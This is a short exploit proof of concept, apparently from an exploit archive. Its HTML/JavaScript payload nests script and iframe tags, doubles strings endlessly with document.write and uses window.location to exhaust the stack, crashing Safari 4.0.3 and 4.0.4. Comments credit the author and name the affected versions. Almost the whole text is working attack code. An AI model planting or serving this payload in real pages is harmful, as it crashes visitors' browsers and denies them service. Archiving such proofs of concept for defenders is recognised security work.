<script> a="<script>var b=\"<iframe src='javascript:window.location=\"boom\"'></iframe>\";while(1){b=b+b;document.write(b);}</scr"+"ipt>"; while(1){ a=a+a; document.write(a); } </script> //Written by: Fredrik Nordberg Almroth //URL: http://h.ackack.net/ //Affected: Safari 4.0.3 & 4.0.4 - Other versions might be vulnerable aswell. //Note: The error seem lay in the window.location property, when called simultaneously the stack seem to get exhausted.